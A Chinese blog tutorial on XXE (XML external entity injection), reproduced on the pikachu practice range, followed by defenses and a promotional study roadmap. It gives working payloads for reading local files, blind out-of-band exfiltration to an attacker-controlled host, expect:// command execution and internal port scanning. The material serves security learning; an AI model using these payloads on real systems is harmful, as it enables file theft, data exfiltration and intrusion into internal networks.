【XML外部实体注入】XXE漏洞分析

XXE(XML外部实体注入)漏洞分析——pikachu靶场复现 阅读详情

XML基础

XML是一种非常流利的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。但是,在处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感信息,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其它实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,取决于这些攻击的上下文。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的元语言。


文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
  <to>Dave</to>
  <from>Tom</from>
  <head>Reminder</head>
  <body>You are a good man</body>
</note>




DTD

DTD(document type definition,文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内部声明,也可以外部引用。

(1)内部的 DOCTYPE 声明
当DTD存在于XML源文件中,由以下格式进行包裹

<!DOCTYPE 根元素 [元素声明]>



然后XML文件对于DTD的内容进行引用

(2)外部文档声明
从XML文件外部引入DTD:

<!DOCTYPE 根元素 SYSTEM ”文件名”>



文件中存放的是元素声明,以.dtd后缀结尾。


DTD实体

(1)内部实体声明

<!ENTITY 实体名称 ”实体的值”>



<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>



这里定义元素为ANY说明接受任何元素,但是定义了一个XML的实体(实体其实可以看成一个变量,到时候我们可以在XML中通过&;进行引用)

<a>
<user>&xxe;</user>
<pass>mypass</pass>
</a>



使用&xxe;对上面定义的xxe实体进行了引用,到时候输出的时候&xxe;就会被“test”替换。

(2)外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>或<实体名称PUBLIC"public_ID ""URI">



<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>



上面将实体分为两个派别(内部实体和外部实体),但是实际上从另一个角度看 ,实体可以分为另外两个派别(通用实体和参数实体)。

(3)参数实体声明

<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>



三种实体声明方式使用区别:

  • 参数实体用%实体名称申明,引用时也用%实体名称;
  • 其余实体直接用实体名称申明,引用时用&实体名称。
  • 参数实体只能在DTD中申明,DTD中引用;
  • 其余实体只能在DTD中申明,可在xml文档中引用。
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://ip/remote.dtd">
%an-element; %remote-dtd;




XXE原理

xxe即xml外部实体注入。指xml数据在传输过程中被利用外部实体声明部分修改,导致服务器器执行了被修改的恶意代码,造成了读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。


XXE分类

按构造外部实体声明

直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>



通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>



evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">



通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d PUBLIC "PUBLIC_ID" "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>



evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">




按输出信息

正常回显XXE

正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

报错XXE

报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。

盲注XXE

当服务器没有回显,就需要选择使用盲注了。可组合利用file协议来读取文件或http协议和ftp协议来查看日志。

1.查看受攻击机的服务器日志
2.通过Dnslog平台查看是否进行查询
3.Burp Collaborator Everywhere 插件验证

分析原理
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">



payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>



从payload中能看到连续待用了三个参数实体%remote;%int;%send;,这就是我们的利用顺序,%remote;先调用,调用后请求远程服务器上的xxe.dtd,有点类似于将xxe.dtd包含进来,然后%int;调用xxe.dtd中的%file;%file;就会去获取服务器上面的敏感文件,然后将%file;的结果填入到%send;后面(因为实体的值中不能有%,所以将其转换成html实体编码%#37;),我们在调用%send;把我们读取到的数据发送到我们远程VPS上,这样就实现了外带数据的效果,完美解决了XXE无回显的问题。


XXE危害(pikachu靶场演示)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。下面会结合pikachu靶场的xxe模块来实战演示。pikachu靶场的xxe是提供了一 个接收xml数据的api 。
靶场地址:https://github.com/zhuifengshaonianhanlu/pikachu
直接解压在www路径下即可。
在这里插入图片描述

读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。
XML在各语言下支持的协议有:
在这里插入图片描述
在实施攻击之前可以简单判断一下是否存在回显数据:

<?xml version="1.0"?> 
<!DOCTYPE ANY [    
<!ENTITY xxe "菜鸟" > ]> 
<a>&xxe;</a>



可以看到回显了”菜鸟“,说明存在回显。(注意:只能判断是否存在回显,不能判断是否支持外部实体)
在这里插入图片描述

有回显

在知道存在回显后,可以尝试读取一些敏感目录,比如读取c:/windows/win.ini,它是每个windows系统都有的,linux系统的的话可以读取/etc/passwd,当然想要读取其他文件目录,只需更改绝对路径即可(file://协议只能用绝对路径)
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>



在这里插入图片描述
有些XML解析支持列目录,攻击者通过列目录、读文件,获取账号密码后进一步攻击,如读取tomcat-users.xml得到账号密码后登录tomcat的manager部署webshell。

无回显

也就是上面所说的盲注xxe。

方法1(服务器日志回显)

这里通过服务器请求包的信息来查看并读取文件。先准备测试环境,我靶场机所在ip为192.168.0.1,然后我使用另一台攻击机192.168.0.11上用python开启一个简单的http服务,在桌面打开终端输入下面命令:

python3 -m http.server 80



在这里插入图片描述
然后在桌面新建一个xxe.dtd文件写入下面内容
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">



192.168.0.1靶机c盘下有一个xxe.txt,当然这里也可以读取其他文件:
在这里插入图片描述
payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>



在这里插入图片描述
在提交数据后页面是什么都没有显示的,回到http服务器上,可以看到刚刚提交数据的请求包信息,xxe.txt里面的内容被警告base64加密后所外带显示出来了c=d2VsY29tZQ==
在这里插入图片描述
在线base64解密https://base64.us/,成功得到文件内容,具体执行效果前面文章已经介绍过了。
在这里插入图片描述

方法2(查看DNS解析记录)

可以使受攻击服务器访问 DNS解析平台——http://www.dnslog.cn/或http://ceye.io/平台
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://te8sv4.dnslog.cn">
    %d;
]>
<a>&xxe;</a>



说明XML解析成功,访问了te8sv4.dnslog.cn,具有XXE漏洞。
在这里插入图片描述

方法3(利用bp的Collaborator插件验证)

Collaborator插件位于extender模块下的Bapp Store,点击安装即可,在左上角打开Collaborator服务器:
在这里插入图片描述
点击复制到剪切 ,然后更换地址即可:
在这里插入图片描述
在这里插入图片描述
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net">
    %d;
]>
<a>&xxe;</a>



可以看到Collaborator中收到了DNS解析记录和HTTP访问记录:
在这里插入图片描述

查看php源代码

查看php源代码一般用php伪协议php://filter
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/phpinfo.php"> ]>
<a>&xxe;</a>



在这里插入图片描述
base64解码即可:
在这里插入图片描述

远程代码执行

这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。这里pikachu靶场演示不了。
payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "expect://whoami"> ]>
<user>&xxe;</user>



SSRF联动

XXE可以和SSRF(服务端请求伪造)漏洞(ssrf介绍文章请看:http://t.csdn.cn/fNFpi)一起用于探测其他内网主机的信息,基于http协议。

探测内网端口

可根据返回信息内容的接收响应时间来判断该端口是否打开。这里最好利用burpsuite的intruder模块。
payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:88" > ]> 
<foo>&xxe;</foo>



先抓包,右键发送到intruder模块,然后设置载荷:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
设置payload好后(这里为了方便快捷只探测1-100端口),开始攻击:
在这里插入图片描述
这时查看会发现它的响应状态都是200,这并不是所需的结果,需要按照发request包和回response包的间间间隔排序,这里设置一下所选列:
在这里插入图片描述
然后点击一下response received列,按大小排列,可以看到80和88端口接收响应计数为2,响应很快,代表这两个端口是开放的:
在这里插入图片描述

探测内网主机

同端口探测一样,可根据返回信息内容的接收响应时间来判断ip是否存在:
payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://192.168.0.11" > ]> 
<foo>&xxe;</foo>



在这里插入图片描述
在这里插入图片描述
设置后 payload后开始攻击,查看response received列:
在这里插入图片描述
可以看到有192.168.0.11、10主机,对比下nmap扫描网段结果:
在这里插入图片描述

探测内网文件

同读取任意文件一样,这里就不演示了。


防御XXE

XXE漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去检验DTD(document type definition)中SYSTEM标识符定义的数据,并不太容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML解析器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为False,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD都设置为false,从而避免基于XXE漏洞的攻击。

使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提供的 XML数据

过滤关键字:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC等。不允许XML中含有自己定义的DTD。


总结

本文只是对xxe漏洞基础学习所做的笔记,简单通过pikachu靶场了解xxe漏洞的原理以及各种利用方法和思路,并未更加深入去剖析,感兴趣可以结合多个靶场和工具去实战。


最后

网络安全需要学习那些知识

网络安全零基础入门学习路线&规划

初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!

img

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。
在这里插入图片描述

网络安全工程师企业级学习路线

在这里插入图片描述

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

在这里插入图片描述

一些我自己买的、其他平台白嫖不到的视频教程:

要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

pikachu靶场之XXE漏洞详解 然后观察请求行、Accept、Content-Type,这里可以从Accept中发现能够接收的文档类型包括xml。上图说明目标主机访问了代码中的网址,那就说明目标主机能够解析xml代码,所以可能存在xxe漏洞。然后在Kali中编辑一个文件xxe.dtd(需要在存在这个文件的目录下开启HTTP服务)这段代码是用来读取本机中的123.txt文件,马赛克处是Kali的IP。这是个域名解析网站,在这里用来检验目标主机是否能够解析xml的代码。这个payload会调用Kali中的xxe.dtd文件。 阅读详情

相关推荐

Pikachu漏洞平台练习——XXE实体类型举例、Blind OOB XXE、其他协议、XXE漏洞读取文件

1.XXE概述 XXE-“xml external entity injection”,即xml外部实体注入。 攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题,也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 2.本地实体类型与外部的实体类型 本地实体类型举例说明如下: <?xml v...

7Riven's blog 1632

十一、pikachu之XXE

pikachu XXE

qq_55202378的博客 921

XXE漏洞

【摘要】XXE(XML外部实体注入)是一种利用XML解析漏洞的攻击方式,攻击者通过伪造外部实体诱导程序解析恶意内容。XML文档结构包括声明、DTD定义和元素,其中DTD定义可能引入外部实体导致漏洞。现代系统多采用JSON替代XML传输数据,且PHP等语言的XML解析库(如libxml≥2.9.0)默认禁用外部实体解析。攻击示例包括有回显(直接读取文件)和无回显(通过外带数据通道)两种方式。防御措施包括升级libxml版本、代码层面禁用实体解析(如PHP的libxml_disable_entity_loade

2401_89283903的博客 885

Pikachu靶场——XXE 漏洞

XXE(XML External Entity)攻击是一种利用XML解析器漏洞的攻击。在这种攻击中,攻击者通过在XML文件中插入恶意实体来触发解析器加载恶意代码或文件,从而执行任意代码、读取本地文件等操作。在XXE攻击中,攻击者通常会构造一个包含恶意实体的XML文件,并将其提交到目标服务器上进行解析。当服务器使用XML解析器解析文件时,会读取实体并展开其定义,从而导致恶意代码被执行或文件被泄露。

来日可期的博客 5206

MT4量化交易入门:手把手教你用MQL4编写第一个外汇EA(含完整代码)

本文详细介绍了如何使用MQL4在MT4平台上编写第一个外汇EA,涵盖从开发环境配置到均线交叉策略实现的完整流程。通过手把手教学和完整代码示例,帮助量化交易新手快速掌握外汇自动化交易的核心技术,实现高效的MT4量化交易系统。

mmm90的博客 527

学术版GPT安装教程——保姆版(附带原生GPT注册教程)

学术版GPT图文安装教程

DBenD的博客 2万+

XML外部实体注入漏洞——XXE简单分析

前言: 前几天做了南邮 NJUPT CTF的几道题,感觉自己要学的的东西还有太多!今天借着比赛中的一道Web题 来系统的学习下XML外部实体注入(XML External Entity Injection) 题目:Fake XML cookbook 题目:Fake XML cookbook 平台暂时还未关闭,想要复现的抓紧了! 网址:https://nctf.x1c.club/challenges#Web ...

未完成的歌~的博客 3664

UE5高斯泼溅落地全链路:从PLY导入到实时渲染的工程实践

3D高斯泼溅(3D Gaussian Splatting)正从NeRF后处理技术演进为新一代隐式几何渲染范式,其核心在于以可微椭球体替代传统三角面片,通过协方差矩阵与球谐系数实现高质量体素化渲染。该技术突破点云精度瓶颈,但与UE5现有资产管线存在根本性不兼容——静态网格导入器无法解析scale/rot/sh系数等非标顶点语义,标准光栅化管线亦无法执行高斯核采样计算。XV3DGS-UEPlugin通过自定义资产类型、StructuredBuffer GPU数据流与专用材质节点,将高斯泼溅重构为可编辑、可LOD

weixin_33692177的博客 360

【XML外部实体注入】XXE漏洞分析——pikachu靶场复现_pikachu xxe

本文只是对xxe漏洞基础学习所做的笔记,简单通过pikachu靶场了解xxe漏洞的原理以及各种利用方法和思路,并未更加深入去剖析,感兴趣可以结合多个靶场和工具去实战。靶场:PHP靶场——bWAPPJava靶场——webGoatDSVW靶场XXE-lab工具:以上是一些有xxe的靶场和工具,可以参考一下这位大佬的文章去实践参考文章:(这两篇文章都非常nice)本文转自allv100,如有侵权,请联系删除。给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

2301_79455190的博客 1691

MTK-Display技术解析:从MDP到DDP的架构演进

本文深入解析了联发科(MTK)显示技术从MDP到DDP的架构演进。MDP作为多媒体数据预处理中心,负责格式转换与缩放;而DDP则整合了OVL、COLOR、AAL等模块,并引入CMDQ与场景化模式,实现了从分散处理到统一智能调度的飞跃,旨在提升画质、流畅度并降低功耗。

weixin_29218509的博客 257

MATLAB实战:从零推导合成孔径雷达(SAR)后向投影(BP)算法核心公式与代码实现

本文详细介绍了如何使用MATLAB从零推导合成孔径雷达(SAR)后向投影(BP)算法的核心公式与代码实现。通过基础概念讲解、数学原理推导、距离维脉冲压缩实现及完整MATLAB代码展示,帮助读者掌握SAR成像的关键技术。特别针对BP算法的优化技巧和常见问题提供了实用解决方案,适合雷达信号处理领域的开发者和研究者参考。

weixin_28683689的博客 252

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

ENTITY 实体在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。ENTITY的定义语法: <!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ...

weixin_30824599的博客 539

电力系统分析 | Matlab实现源荷场景生成---蒙特卡洛法场景生成启发式同步回带削减

电力系统分析 | Matlab实现源荷场景生成---蒙特卡洛法场景生成启发式同步回带削减

前程算法屋的博客 813

XML外部实体注入——XXE漏洞详解

首先要了解什么是XXE漏洞,首先应该了解一下什么是XMLXML(可扩展标记语言,英文全称:eXtensible Markup Language)是一种用于描述数据结构和交换数据的标记语言。XML是一种非常灵活的语言,可以用于描述各种类型的数据,如文档、图像、音频、视频等。这个解释太官方,我们可以将xml语言和html对比着再来解释一下1>xml仅仅是纯文本,他不会做任何事情2>xml可以自己发明标签(允许定义自己的标签和文档结构)3>专门用来存放传输数据的东西。

Gefangenes的博客 2462

SAP-PLM传输MBOM传输至SAP

BOM 项目文本 (行 2)PLM创建及修改BOM接口。PLM 创建BOM接口抬头。BOM 项目文本(行1)PLM 创建BOM接口抬头。PLM BOM 错误消息。PLM BOM接口组件。组件数量 (BTCI)

qq_32198063的博客 433

qt open3dBPA重建

open3d BPA重建

阁楼 516

XXE 学习

XXE 是什么 XXE(XML External Entity Injection),即 XML 外部实体注入。 当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。 ...

weixin_47306547的博客 3278

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

xxe-lab 通关攻略

XML外部实体注⼊(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引⽤,导致服务端在解析⽤户提交的XML信息时未作处理直接进⾏解析,导致加载恶意的外部⽂件和代码,造成任意⽂件读取,命令执⾏(利⽤条件苛刻)、内⽹扫描等危害。

2302_77611368的博客 408

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

windows文件读取 xxe_XXE漏洞浅析

XXE漏洞浅析来自于公众号:计算机与网络安全一次性付费进群,长期免费索取教程,没有付费教程。进微信群回复公众号:微信群;QQ群:460500587教程列表见微信公众号底部菜单 |本文底部有推荐书籍​微信公众号:计算机与网络安全ID:Computer-networkXML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记...

weixin_39808726的博客 410
上一篇: 40种绕过WAF防火墙的Payload混淆技术,绝了!
下一篇: 什么是XXE漏洞,日常如何做好web安全,避免漏洞威胁
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值